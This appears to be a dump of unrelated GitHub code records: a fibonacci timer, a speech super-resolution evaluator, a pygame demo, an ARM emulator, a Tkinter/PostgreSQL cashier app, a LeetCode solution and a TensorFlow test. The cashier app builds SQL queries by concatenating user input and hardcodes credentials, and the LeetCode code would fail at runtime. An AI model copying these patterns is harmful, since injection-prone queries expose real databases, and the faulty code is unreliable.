a == 2:\n\t\treturn 1\n\t#end if\n\n\treturn fibonacci(a-1) + fibonacci(a-2)\n#end function\n\n#\t-----------\n#\tentry point\n#\t-----------\ndef main():\n\tctr = 40\n\n\t#\tprint function can also be used with special formatting\n\tfor i in range(ctr+1):\n\t\tstart = t.process_time()\n\t\tprint(\"F(%d) = %d\" % (i, fibonacci(i)))\n\t\tend = t.process_time()\n\n\t\tprint(f'elapsed time amount: {end-start}s')\n\t#end for\n#end main\n\nif __name__ == '__main__':\n\tmain()\n#end entry point","repo_name":"ITWorks4U/Python-3-tutorial","sub_path":"21_benchmark/fibonacci/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22329276084","text":"import time\nimport librosa\nimport torch\nimport os\nfrom nvsr_unet import NVSR as Model\nimport numpy as np\nfrom ssr_eval import SSR_Eval_Helper, BasicTestee\n\ntorch.manual_seed(234)\nEPS = 1e-9\n\ndef to_log(input):\n assert torch.sum(input < 0) == 0, (\n str(input) + \" has negative values counts \" + str(torch.sum(input < 0))\n )\n return torch.log10(torch.clip(input, min=1e-8))\n\ndef from_log(input):\n input = torch.clip(input, min=-np.inf, max=5)\n return 10**input\n\ndef trim_center(est, ref):\n diff = np.abs(est.shape[-1] - ref.shape[-1])\n if est.shape[-1] == ref.shape[-1]:\n return est, ref\n elif est.shape[-1] > ref.shape[-1]:\n min_len = min(est.shape[-1], ref.shape[-1])\n est, ref = est[..., int(diff // 2) : -int(diff // 2)], ref\n est, ref = est[..., :min_len], ref[..., :min_len]\n return est, ref\n else:\n min_len = min(est.shape[-1], ref.shape[-1])\n est, ref = est, ref[..., int(diff // 2) : -int(diff // 2)]\n est, ref = est[..., :min_len], ref[..., :min_len]\n return est, ref\n\n\ndef get_n_params(model):\n pp = 0\n for p in list(model.parameters()):\n nn = 1\n for s in list(p.size()):\n nn = nn * s\n pp += nn\n return pp\n\n\nclass NVSRBaseTestee(BasicTestee):\n def __init__(self, device) -> None:\n self.model_name = \"unet\"\n self.ckpt = os.path.join(\n os.path.expanduser(\"~\"),\n \".cache/ssr_eval/NVSR/epoch=11-step=22499-val_l=0.27.pth\",\n )\n self.download_pretrained()\n self.model = Model(channels=1)\n self.model.load_state_dict(torch.load(self.ckpt))\n self.model.eval()\n self.device = device\n self.model = self.model.to(self.device)\n self.current = time.time()\n\n def download_pretrained(self):\n import urllib.request\n\n if not os.path.exists(self.ckpt):\n os.makedirs(os.path.dirname(self.ckpt), exist_ok=True)\n print(\n \"Downloading the weight of pretrained speech super resolution baseline model NVSR\"\n )\n urllib.request.urlretrieve(\n \"https://zenodo.org/record/6370601/files/epoch%3D11-step%3D22499-val_l%3D0.27.pth?download=1\",\n self.ckpt,\n )\n print(\n \"Weights downloaded in: {} Size: {}\".format(\n self.ckpt, os.path.getsize(self.ckpt)\n )\n )\n\n def pre(self, input):\n input = input[None, ...].to(self.device)\n sp, _, _ = self.model.f_helper.wav_to_spectrogram_phase(input)\n mel_orig = self.model.mel(sp.permute(0, 1, 3, 2)).permute(0, 1, 3, 2)\n return sp, mel_orig\n\n def perform(self, filename):\n x, _ = librosa.load(filename, sr=44100)\n res = self.infer(x)\n sf.write(\"result.wav\", res, 44100)\n\n def infer(self, x):\n return x\n\n\nclass NVSRTestee(NVSRBaseTestee):\n def __init__(self, device) -> None:\n super(NVSRTestee, self).__init__(device)\n\n def infer(self, x):\n with torch.no_grad():\n segment = torch.Tensor(x.copy()).to(self.device)[None, ...]\n _, mel_noisy = self.pre(segment)\n out = self.model(mel_noisy)\n denoised_mel = from_log(out[\"mel\"])\n out = self.model.vocoder(denoised_mel, cuda=True)\n out, _ = trim_center(out, segment)\n out = out.squeeze()\n return self.tensor2numpy(out)\n\n\nclass NVSRPostProcTestee(NVSRBaseTestee):\n def __init__(self, device) -> None:\n super(NVSRPostProcTestee, self).__init__(device)\n\n def infer(self, x):\n with torch.no_grad():\n segment = torch.Tensor(x.copy()).to(self.device)[None, ...]\n _, mel_noisy = self.pre(segment)\n out = self.model(mel_noisy)\n denoised_mel = from_log(out[\"mel\"])\n out = self.model.vocoder(denoised_mel, cuda=True)\n out, _ = trim_center(out, segment)\n out = self.tensor2numpy(out)\n out = np.squeeze(out)\n out = self.postprocessing(x, out)\n return out\n\n\nclass NVSRPaddingPostProcTestee(NVSRBaseTestee):\n def __init__(self, device) -> None:\n super(NVSRPaddingPostProcTestee, self).__init__(device)\n\n def get_cutoff_index_v2(self, x):\n energy = np.cumsum(np.sum(x, axis=-1))\n return self.find_cutoff(energy, 0.97)\n\n def add_segment_to_higher_freq(self, mel_lr):\n # mel_lr: [128, t-steps]\n size = mel_lr.size()\n mel_lr = mel_lr.squeeze().transpose(0, 1).cpu().numpy()\n cutoffratio = self.get_cutoff_index_v2(mel_lr)\n avg_energy = np.tile(mel_lr[cutoffratio, :], (mel_lr.shape[0], 1))\n mel_lr[cutoffratio:, ...] = 0\n avg_energy[:cutoffratio, ...] = 0\n mel_lr = mel_lr + avg_energy\n mel_lr = (\n torch.Tensor(mel_lr.copy()).transpose(0, 1)[None, None, ...].to(self.device)\n )\n assert size == mel_lr.size()\n return mel_lr\n\n def infer(self, x):\n with torch.no_grad():\n segment = torch.Tensor(x.copy()).to(self.device)[None, ...]\n _, mel_noisy = self.pre(segment)\n denoised_mel = self.add_segment_to_higher_freq(mel_noisy)\n out = self.model.vocoder(denoised_mel, cuda=True)\n out, _ = trim_center(out, segment)\n out = self.tensor2numpy(out)\n out = np.squeeze(out)\n out = self.postprocessing(x, out)\n return out\n\nif __name__ == \"__main__\":\n import soundfile as sf\n\n if(torch.cuda.is_available()): device = \"cuda\"\n else: device=\"cpu\"\n \n for test_name in [\"NVSRPostProcTestee\"]:\n testee = eval(test_name)(device=device)\n helper = SSR_Eval_Helper(\n testee,\n test_name=test_name,\n input_sr=44100,\n output_sr=44100,\n evaluation_sr=44100,\n setting_fft={\n \"cutoff_freq\": [1000, 2000, 4000, 6000, 8000, 12000],\n },\n save_processed_result=True,\n )\n helper.evaluate(limit_test_nums=2, limit_test_speaker=-1)\n","repo_name":"haoheliu/ssr_eval","sub_path":"examples/NVSR/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"18"} +{"seq_id":"1609099170","text":"import sys\n\nimport pygame\n\nclass Main:\n \"\"\"Overall class.\"\"\"\n\n def __init__(self):\n \"\"\"Initialise the game.\"\"\"\n pygame.init()\n\n # screen\n self.screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\n # self.screen_width = self.screen.get_rect().width\n # self.screen_height = self.screen.get_rect().height\n\n pygame.display.set_caption(\"Rocket\")\n\n self.rocket = Rocket(self)\n \n\n def run_game(self):\n \"\"\"Main loop for the game\"\"\"\n\n while True:\n # check for key events, q for quit for now\n self._check_events()\n self.rocket.update()\n \n self.screen.fill((200, 200, 200))\n self.rocket.blit_rocket()\n\n pygame.display.flip()\n\n def _check_events(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.KEYDOWN:\n self._check_keydown_events(event)\n if event.type == pygame.KEYUP:\n self._check_keyup_events(event)\n\n def _check_keydown_events(self, event):\n \"\"\"Handle key pressess.\"\"\"\n if event.key == pygame.K_q:\n sys.exit()\n if event.key == pygame.K_RIGHT:\n self.rocket.moving_right = True\n # self.rocket.update()\n if event.key == pygame.K_LEFT:\n self.rocket.moving_left = True\n # self.rocket.update()\n if event.key == pygame.K_UP:\n self.rocket.moving_up = True\n if event.key == pygame.K_DOWN:\n self.rocket.moving_down = True\n \n def _check_keyup_events(self, event):\n \"\"\"Handle key releases.\"\"\"\n if event.key == pygame.K_RIGHT:\n self.rocket.moving_right = False\n if event.key == pygame.K_LEFT:\n self.rocket.moving_left = False\n if event.key == pygame.K_UP:\n self.rocket.moving_up = False\n if event.key == pygame.K_DOWN:\n self.rocket.moving_down = False\n\nclass Rocket:\n \"\"\"Class for managing a rocket.\"\"\"\n\n def __init__(self, game_assets):\n self.screen = game_assets.screen\n self.screen_rect = self.screen.get_rect()\n\n # Load the image, get its rect\n self.image = pygame.image.load('images/ship.bmp')\n self.image_rect = self.image.get_rect()\n\n # position the rocket to the middle of the screen\n # the image's center coordinates are set to the center coordinates of the screen\n self.image_rect.center = self.screen.get_rect().center\n\n # flags for movement\n self.moving_right = False\n self.moving_left = False\n self.moving_up = False\n self.moving_down = False\n\n def blit_rocket(self):\n self.screen.blit(self.image, self.image_rect)\n\n def update(self):\n \"\"\"Updates the position of the rocket every time the arrow keys are pressed.\"\"\"\n if self.moving_right and self.image_rect.right < self.screen_rect.right:\n self.image_rect.x += 1\n if self.moving_left and self.image_rect.left > 0:\n self.image_rect.x -= 1\n if self.moving_up and self.image_rect.top > 0:\n self.image_rect.y -= 1\n if self.moving_down and self.image_rect.bottom < self.screen_rect.bottom:\n self.image_rect.y += 1\n\n\nif __name__ == '__main__':\n screen = Main()\n screen.run_game()","repo_name":"abdul8117/alien_invasion","sub_path":"tiys/Rocket/rocket.py","file_name":"rocket.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"28118597251","text":"#!/usr/bin/env python3\nfrom collections import defaultdict\n\nfrom dtype import *\n\nclass MemoryHook(object):\n def __init__(self, ldr_hook, str_hook):\n self.__ldr_hook = ldr_hook\n self.__str_hook = str_hook\n\n @property\n def ldr(self):\n return self.__ldr_hook\n\n @property\n def str(self):\n return self.__str_hook\n\nclass ARM(object):\n conditional_suffices = {'eq', 'ne', 'cs', 'hs', 'cc', 'lo', 'mi', 'pl',\n 'vs', 'vc', 'hi', 'ls', 'ge', 'lt', 'gt', 'le', 'al', ''}\n def __init__(self, memory=defaultdict(Value), mem_hook=None):\n self.__registers = {}\n self.__flags = {\n \"N\": False,\n \"Z\": False,\n \"C\": False,\n \"V\": False,\n }\n self.__memory = memory\n self.__mem_hook = mem_hook\n self.last_fp_ldr_from_addr = None\n\n def __conditional_execution__(self, suffix):\n # Source: http://davespace.co.uk/arm/introduction-to-arm/conditional.html\n if suffix == \"\":\n # Original instruction with no suffix\n return True\n if suffix == \"eq\":\n # Equal: Z\n return self.flags[\"Z\"]\n if suffix == \"ne\":\n # Not equal: !Z\n return not self.flags[\"Z\"]\n if suffix == \"cs\":\n # Carry set / unsigned higher or same: C\n return self.flags[\"C\"]\n if suffix == \"hs\":\n # Carry set / unsigned higher or same: C\n return self.flags[\"C\"]\n if suffix == \"cc\":\n # Carry clear / unsigned lower: !C\n return not self.flags[\"C\"]\n if suffix == \"lo\":\n # Carry clear / unsigned lower: !C\n return not self.flags[\"C\"]\n if suffix == \"mi\":\n # Minus / negative: N\n return self.flags[\"N\"]\n if suffix == \"pl\":\n # Plus / positive or zero: !N\n return not self.flags[\"N\"]\n if suffix == \"vs\":\n # Overflow: V\n return self.flags[\"V\"]\n if suffix == \"vc\":\n # No overflow: !V\n return not self.flags[\"V\"]\n if suffix == \"hi\":\n # Unsigned higher: C and !Z\n return self.flags[\"C\"] and not self.flags[\"Z\"]\n if suffix == \"ls\":\n # Unsigned lower or same: !C or Z\n return not self.flags[\"C\"] or self.flags[\"Z\"]\n if suffix == \"ge\":\n # Signed greater than or equal: N == V\n return self.flags[\"N\"] == self.flags[\"V\"]\n if suffix == \"lt\":\n # Signed less than: N != V\n return self.flags[\"N\"] != self.flags[\"V\"]\n if suffix == \"gt\":\n # Signed greater than: !Z and (N == V)\n return not self.flags[\"Z\"] and (self.flags[\"N\"] == self.flags[\"V\"])\n if suffix == \"le\":\n # Signed less than or equal: Z or (N != V)\n return self.flags[\"Z\"] or (self.flags[\"N\"] != self.flags[\"V\"])\n if suffix == \"al\":\n # Always (default): any\n return True\n\n def __decompose_mnemonic__(self, mnemonic):\n '''\n Decompose mnemonic into 'S' appendix and conditions\n '''\n supported_mnemonics = [\n \"ldr\", \"ldrb\", \"ldrsb\", \"ldrh\", \"ldrsh\", \"str\", \"strb\", \"strh\", \"ldm\", \"stm\",\n \"add\", \"sub\", \"adc\", \"sbc\", \"mul\", \"and\", \"orr\", \"eor\", \"bic\", \"lsl\", \"lsr\",\n \"mov\", \"mvn\", \"cmp\", \"cmn\", \"teq\", \"tst\", \"b\", \"bl\",\n ]\n for candidate_mnemonic in supported_mnemonics:\n if mnemonic.startswith(candidate_mnemonic):\n if mnemonic == candidate_mnemonic:\n return candidate_mnemonic, False, \"\"\n if mnemonic[len(candidate_mnemonic):] in self.conditional_suffices:\n return candidate_mnemonic, False, mnemonic[len(candidate_mnemonic):]\n if mnemonic[len(candidate_mnemonic):].startswith(\"s\") and mnemonic[len(candidate_mnemonic)+1:] in self.conditional_suffices:\n return candidate_mnemonic, True, mnemonic[len(candidate_mnemonic)+1:]\n raise Exception(\"Unknown mnemonic {}\".format(mnemonic))\n\n def execute(self, addr, inst):\n self.registers[\"pc\"] = Value(addr.value) + 8\n mnemonic, update_flags, cond_suffix = self.__decompose_mnemonic__(inst.mnemonic)\n # Check conditional execution\n if self.__conditional_execution__(cond_suffix):\n if mnemonic in {\"ldr\", \"ldrb\", \"ldrsb\", \"ldrh\", \"ldrsh\"} and update_flags == False:\n masking = {\n \"ldr\": lambda value: value & 0xFFFFFFFF,\n \"ldrb\": lambda value: value & 0xFF,\n \"ldrsb\": lambda value: value & 0xFF | (0xFFFFFF00 if value >> 7 & 0x1 == 1 else 0),\n \"ldrh\": lambda value: value & 0xFFFF,\n \"ldrsh\": lambda value: value & 0xFFFF | (0xFFFF0000 if value >> 15 & 0x1 == 1 else 0),\n }\n Rt, target_addr_str = inst.op_str.split(', ', 1)\n if ',' in target_addr_str:\n # Assumes pre-indexing only\n with_update = False\n if target_addr_str.endswith(\"!\"):\n # Pre-Indexing with update\n with_update = True\n target_addr_str = target_addr_str.strip(\"!\")\n # Assumes immediate offset only\n Rn, target_addr_offset_str = target_addr_str.strip(\"[]\").split(', ', 1)\n offset = int(target_addr_offset_str.strip('#'), 0)\n target_addr = Address(self.registers[Rn].value + offset)\n if with_update:\n self.registers[Rn] = Value(target_addr.value)\n else:\n Rn = target_addr_str.strip(\"[]\")\n target_addr = Address(self.registers[Rn].value)\n if self.__mem_hook is None or self.__mem_hook.ldr is None:\n self.registers[Rt] = masking[mnemonic](self.memory[target_addr])\n else:\n self.registers[Rt] = masking[mnemonic](self.__mem_hook.ldr(self, target_addr))\n if Rt == \"fp\":\n self.last_fp_ldr_from_addr = target_addr\n elif mnemonic in {\"str\", \"strh\", \"strb\"} and update_flags == False:\n mask = {\n \"str\": 0xFFFFFFFF,\n \"strb\": 0xFF,\n \"strh\": 0xFFFF,\n }\n Rt, target_addr_str = inst.op_str.split(', ', 1)\n if ',' in target_addr_str:\n # Assumes pre-indexing only\n with_update = False\n if target_addr_str.endswith(\"!\"):\n # Pre-Indexing with update\n with_update = True\n target_addr_str = target_addr_str.strip(\"!\")\n # Assumes immediate offset only\n Rn, target_addr_offset_str = target_addr_str.strip(\"[]\").split(', ', 1)\n offset = int(target_addr_offset_str.strip('#'), 0)\n target_addr = Address(self.registers[Rn].value + offset)\n if with_update:\n self.registers[Rn] = Value(target_addr.value)\n else:\n Rn = target_addr_str.strip(\"[]\")\n target_addr = Address(self.registers[Rn].value)\n if self.__mem_hook is None or self.__mem_hook.str is None:\n self.memory[target_addr] = self.registers[Rt] & mask[mnemonic]\n else:\n self.__mem_hook.str(self, target_addr, self.registers[Rt] & mask[mnemonic])\n elif mnemonic in {\"ldm\"} and update_flags == False:\n # Assumes addr_mode = IA only\n Rn, reglist_str = inst.op_str.split(', ', 1)\n reglist = reglist_str.strip('{}').split(', ')\n for reg in reglist:\n target_addr = Address(self.registers[Rn].value)\n if self.__mem_hook is None or self.__mem_hook.ldr is None:\n self.registers[reg] = self.memory[target_addr]\n else:\n self.registers[reg] = self.__mem_hook.ldr(self, target_addr)\n self.registers[Rn] += 4\n elif mnemonic in {\"stm\"} and update_flags == False:\n # Assumes addr_mode = IA only\n Rn, reglist_str = inst.op_str.split(', ', 1)\n reglist = reglist_str.strip('{}').split(', ')\n for reg in reglist:\n target_addr = Address(self.registers[Rn].value)\n if self.__mem_hook is None or self.__mem_hook.str is None:\n self.memory[target_addr] = self.registers[reg]\n else:\n self.__mem_hook.str(self, target_addr, self.registers[reg])\n self.registers[Rn] += 4\n elif mnemonic in {\"add\", \"sub\", \"adc\", \"sbc\", \"mul\", \"and\", \"orr\", \"eor\", \"bic\", \"lsl\", \"lsr\"}:\n Rd, Rn, op2 = inst.op_str.split(', ')\n op1 = self.registers[Rn]\n # Assume op2 is either #imm16 or [Rn]\n if op2.startswith('#'):\n op2 = Value(int(op2.strip('#'), 0))\n else:\n op2 = self.registers[op2]\n ops = {\n \"add\": lambda a, b: a + b,\n \"sub\": lambda a, b: a - b,\n \"adc\": lambda a, b: a + b + (1 if self.flags[\"C\"] else 0),\n \"sbc\": lambda a, b: a - b - (0 if self.flags[\"C\"] else 1),\n \"mul\": lambda a, b: a * b,\n \"and\": lambda a, b: a & b,\n \"orr\": lambda a, b: a | b,\n \"eor\": lambda a, b: a ^ b,\n \"bic\": lambda a, b: a & (-b-1),\n \"lsl\": lambda a, b: a << b,\n \"lsr\": lambda a, b: a >> b,\n }\n result = ops[mnemonic](op1, op2)\n result_value = ops[mnemonic](op1.value, op2.value)\n result_signed = ops[mnemonic](op1.signed_value, op2.signed_value)\n result_msb = result >> 31\n self.registers[Rd] = result\n if update_flags:\n if mnemonic in {\"add\", \"sub\", \"adc\", \"sbc\", \"mul\"}:\n self.flags[\"C\"] = True if result != result_value else False\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n self.flags[\"V\"] = True if result.signed_value != result_signed else False\n elif mnemonic in {\"and\", \"orr\", \"eor\", \"bic\"}:\n # Does not update the C flag because no calculation was\n # done for op2\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n # Does not affect the V flag\n elif mnemonic in {\"lsl\", \"lsr\"}:\n # The C flag is unaffected if the shift value is 0.\n # Otherwise, the C flag is updated to the last bit\n # shited out\n if op2 != 0:\n if mnemonic == \"lsl\":\n self.flags[\"C\"] = True if op1 >> 31 == 1 else False\n else:\n self.flags[\"C\"] = True if op1 & 1 == 1 else False\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n elif mnemonic in {\"mov\", \"mvn\"}:\n Rd, op2 = inst.op_str.split(', ')\n # Assume op2 is either #imm16 or [Rn]\n if op2.startswith('#'):\n self.registers[Rd] = Value(int(op2.strip('#'), 0))\n else:\n self.registers[Rd] = self.registers[op2]\n if mnemonic == \"mvn\":\n # Performs a bitwise logical NOT operation on the value\n self.registers[Rd] = ~self.registers[Rd]\n if update_flags:\n # Does not update the C flag because no calculation was\n # done for op2\n result_msb = self.registers[Rd] >> 31\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if self.registers[Rd] == 0 else False\n # Does not affect the V flag\n elif mnemonic in {\"cmp\", \"cmn\"} and update_flags == False:\n Rn, op2 = inst.op_str.split(', ')\n op1 = self.registers[Rn]\n # Assume op2 is either #imm16 or [Rn]\n if op2.startswith('#'):\n op2 = Value(int(op2.strip('#'), 0))\n else:\n op2 = self.registers[op2]\n if mnemonic == \"cmp\":\n # CMP is the same as SUBS\n result = op1 - op2\n result_value = op1.value - op2.value\n result_signed = op1.signed_value - op2.signed_value\n else:\n # CMN is the same as ADDS\n result = op1 + op2\n result_value = op1.value + op2.value\n result_signed = op1.signed_value + op2.signed_value\n result_msb = result >> 31\n self.flags[\"C\"] = True if result != result_value else False\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n self.flags[\"V\"] = True if result.signed_value != result_signed else False\n elif mnemonic in {\"teq\", \"tst\"} and update_flags == False:\n Rn, op2 = inst.op_str.split(', ')\n op1 = self.registers[Rn]\n # Assume op2 is either #imm16 or [Rn]\n if op2.startswith('#'):\n op2 = Value(int(op2.strip('#'), 0))\n else:\n op2 = self.registers[op2]\n if mnemonic == \"teq\":\n # TEQ is the same as EORS\n result = op1 ^ op2\n else:\n # TST is the same as ANDS\n result = op1 & op2\n result_msb = result >> 31\n # Does not update the C flag because no calculation was\n # done for op2\n self.flags[\"N\"] = True if result_msb == 1 else False\n self.flags[\"Z\"] = True if result == 0 else False\n # Does not affect the V flag\n elif mnemonic in {\"b\", \"bl\"}:\n branch_addr = Address(int(inst.op_str.strip('#'), 0))\n if mnemonic == \"bl\":\n self.registers[\"lr\"] = Value(addr.value + 4)\n return branch_addr\n else:\n raise Exception(\"{}: Unknown mnemonic {}\".format(addr, inst.mnemonic))\n\n @property\n def registers(self):\n return self.__registers\n\n @property\n def flags(self):\n return self.__flags\n\n @property\n def memory(self):\n return self.__memory\n","repo_name":"AutoFuzzer/AutoFuzzer","sub_path":"arm.py","file_name":"arm.py","file_ext":"py","file_size_in_byte":15601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31562588110","text":"import numpy as np\nimport xlsxwriter\n\ndef excel_init(name):\n time = 0\n workbook = xlsxwriter.Workbook(name + '.xlsx')\n worksheet = workbook.add_worksheet()\n worksheet.write(time, 0, \"Data\") # Writes an int\n worksheet.write(time, 1, \"time\") # Writes a float\n return workbook, worksheet, time\n\ndef find_consecutive_3p_zero(index):\n count = 0\n for i in range(len(index)-2):\n t1 = index[i]\n t2 = index[i+1]\n t3 = index[i+2]\n if (t2-t1) !=1 :\n continue\n else:\n if (t3-t2) !=1 :\n continue\n else:\n # print(t1,t2,t3)\n count+=1\n return count\nGesture = [\"circle\", \"eight\", \"rectangle\", \"up\", \"down\", \"left\", \"right\"]\n# Gesture = [\"circle\"]\nhead_path = 'C:/Users/user/Desktop/thmouse_training_data/'\nworkbook,worksheet ,time = excel_init(\"show3point_zero_number\")\nfor i in Gesture:\n for j in range(2, 4):\n tmp_path = head_path + i + \"/time\" + str(j) + \"/\"\n title = i + \" of /time\" + str(j)\n path = tmp_path\n out_cam_p = np.load(path + 'out_cam_p.npy', allow_pickle=True)\n radar = np.load(path + 'out_radar_p.npy', allow_pickle=True)\n print(radar.shape)\n index = []\n for k in range(len(radar)):\n # print(f\"Number of Zeroes in Array -->{radar[k][np.where(radar[k] != 0)].size}/{radar[k][np.where(radar[k] == 0)].size}\")\n if radar[k][np.where(radar[k] != 0)].size == 0:\n index.append(k)\n\n cc = find_consecutive_3p_zero(index)\n time += 1\n worksheet.write(time, 0, i+ \"/time\" + str(j) + \"/sliding data/ countinuse 3p zeros\") # Writes an int\n worksheet.write(time, 1, cc) # Writes a float\n print(i + \"/time\" + str(j) + \"/sliding data/ countinuse 3p zeros : {}\".format(cc))\n\nworkbook.close()","repo_name":"t109368038/ML_thumouse","sub_path":"test/find_consecutive_3p_zero.py","file_name":"find_consecutive_3p_zero.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73443055400","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 8 06:26:28 2021\r\n\r\n@author: Paradoxe\r\n\"\"\"\r\nfrom string import punctuation\r\nfrom tkinter import *\r\nimport psycopg2\r\nimport tkinter.messagebox\r\nfrom datetime import date\r\nimport time\r\n\r\n\r\n\r\n #\"\"\"connexion a la base de données\"\"\"\r\n \r\n \r\nDATABASE = \"kali_db2\" #nom de la base de donnée\r\nUSER = \"kali\" #propriétaire de la bd\r\nPASSWORD = \"kali\" # mot de passe d'accès\r\nHOST = \"localhost\" #adresse ip du serveur, ici on est en local\r\n \r\n\r\n #Établissement de la connexion . Création du curseur\"\r\ntry:\r\n con = psycopg2.connect(\"host=%s dbname=%s user=%s password=%s\" % (HOST, DATABASE, USER, PASSWORD))\r\n \r\nexcept Exception as err:\r\n print('La connexion a la base de donnée a échoué : \\n'\\\r\n 'Erreur détecté :\\n%s' % err)\r\n echec =1\r\nelse:\r\n cursor = con.cursor() #création du curseur\r\n echec =0\r\n \r\nif echec:\r\n sys.exit()\r\n \r\nprixtt=0\r\nproduitlist = []\r\nquantitelist = []\r\nprixlist = []\r\n \r\nglobal numero \r\n \r\nclass Contenir():\r\n #cette classe servira a gerer les achats d'un client\r\n def __init__(self,num_caissier, num_produit,nom_produit,quantite,prix,\r\n nom_client, tel_client,tel_caissier):\r\n \r\n self.num_caissier=num_caissier.get()\r\n \r\n \r\n \r\n \r\n self.quantite=quantite.get()\r\n \r\n \r\n self.nom_client=nom_client.get()\r\n \r\n \r\n self.tel_client=tel_client.get()\r\n self.tel_caissier=tel_caissier.get() \r\n \r\n \r\n def ecrire():\r\n \r\n #numfacture=num_facture.get()\r\n \r\n \r\n nomclient=nom_client.get()\r\n telclient=Tel_client.get()\r\n numcaissier=num_caissier.get()\r\n \r\n \r\n if nomclient==\"\" or numcaissier==\"\":\r\n messagebox.showerror(\"Facture\", \"Toutes les informations du client ne sont pas renseignés.\")\r\n else:\r\n con = psycopg2.connect(\"host=%s dbname=%s user=%s password=%s\" % (HOST, DATABASE, USER, PASSWORD))\r\n cursor = con.cursor()\r\n cursor.execute(\"INSERT INTO Clients (num_client, nom_client, tel_client) VALUES (nextval('client_seq'),'\" + nomclient + \"', '\" + telclient +\"')\")\r\n con.commit()\r\n \r\n cursor.execute(\"SELECT num_client FROM Clients WHERE nom_client = '%s' AND tel_client = '%s'\" %(nomclient, telclient))\r\n rows = cursor.fetchall()\r\n numclient=rows[0][0]\r\n print(numclient, type(numclient))\r\n cursor.execute(\"INSERT INTO Factures (num_facture, prix_total, date, num_client, num_caissier) VALUES (nextval('fact_seq'),'%s', '%s','%s','%s')\"%(prixtt,date.today().isoformat(),numclient,numcaissier))\r\n con.commit()\r\n \r\n con.close()\r\n \r\n root.destroy()\r\n #txtarea.insert(END, \"\\t\\t\\t\\t\\t \"+date.today().isoformat()\r\n txtarea.insert(END, \"\\t\\t\\t\\t\\t \"+time.strftime(\"%A %d %B %Y %H:%M:%S\"))\r\n txtarea.insert(END, \"\\n\\n\\t\\t\\t\\tBoutique Numero 5698\")\r\n #txtarea.insert(END, \"\\nFacture numéro : \"+numfacture)\r\n txtarea.insert(END, \"\\n\\n================================================================================\")\r\n \r\n txtarea.insert(END, \"\\n\\nNumero du client : 000\"+str(numclient))\r\n txtarea.insert(END, \"\\nNom du client : \"+nomclient)\r\n txtarea.insert(END, \"\\nNumero du caissiers : 000\"+str(numcaissier))\r\n #txtarea.insert(END, \"\\nNom du caissiers : \"+nomcaissier)\r\n txtarea.insert(END, \"\\n\\n================================================================================\")\r\n txtarea.insert(END, \"\\n\\nProduits\")\r\n txtarea.insert(END, \"\\t\\t\\t\\tQuantité\")\r\n txtarea.insert(END, \"\\t\\t\\t\\tPrix Unitaire \\n\")\r\n i = 0\r\n while(i i)\n\n# The origin problem find a subarry whose sum equals to k (preSum[j] - preSum[i]) can be changed to find a subarray whose sum equals to preSum[i] (preSum[j] - k)\n\nclass Solution(object):\n def subarraySum(self, nums, k):\n res = {}\n res[0] = 1 #We've already seen presum = 0 before iteration\n ans = 0\n presum = 0\n for i in nums:\n presum += i\n ans += res[presum-k]\n res[presum] += 1\n return ans","repo_name":"LTPhat/LeetCode","sub_path":"Python/560. Subarray Sum Equals K.py","file_name":"560. Subarray Sum Equals K.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"4004423114","text":"import numpy as np\n\nfrom tensorflow.core.framework import summary_pb2\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.platform import test\nfrom tensorflow.python.summary import summary\n\n\nclass SummaryV1AudioOpTest(test.TestCase):\n\n def _AsSummary(self, s):\n summ = summary_pb2.Summary()\n summ.ParseFromString(s)\n return summ\n\n def _CheckProto(self, audio_summ, sample_rate, num_channels, length_frames):\n \"\"\"Verify that the non-audio parts of the audio_summ proto match shape.\"\"\"\n # Only the first 3 sounds are returned.\n for v in audio_summ.value:\n v.audio.ClearField(\"encoded_audio_string\")\n expected = \"\\n\".join(\"\"\"\n value {\n tag: \"snd/audio/%d\"\n audio { content_type: \"audio/wav\" sample_rate: %d\n num_channels: %d length_frames: %d }\n }\"\"\" % (i, sample_rate, num_channels, length_frames) for i in range(3))\n self.assertProtoEquals(expected, audio_summ)\n\n def testAudioSummary(self):\n np.random.seed(7)\n for channels in (1, 2, 5, 8):\n with self.session(graph=ops.Graph()) as sess:\n num_frames = 7\n shape = (4, num_frames, channels)\n # Generate random audio in the range [-1.0, 1.0).\n const = 2.0 * np.random.random(shape) - 1.0\n\n # Summarize\n sample_rate = 8000\n summ = summary.audio(\n \"snd\", const, max_outputs=3, sample_rate=sample_rate)\n value = self.evaluate(summ)\n self.assertEqual([], summ.get_shape())\n audio_summ = self._AsSummary(value)\n\n # Check the rest of the proto\n self._CheckProto(audio_summ, sample_rate, channels, num_frames)\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/kernel_tests/summary_ops/summary_v1_audio_op_test.py","file_name":"summary_v1_audio_op_test.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"33086056084","text":"from __future__ import absolute_import\nimport re\n\n# Environment.OSVersion (GetVersionEx) or RuntimeInformation.OSDescription, on 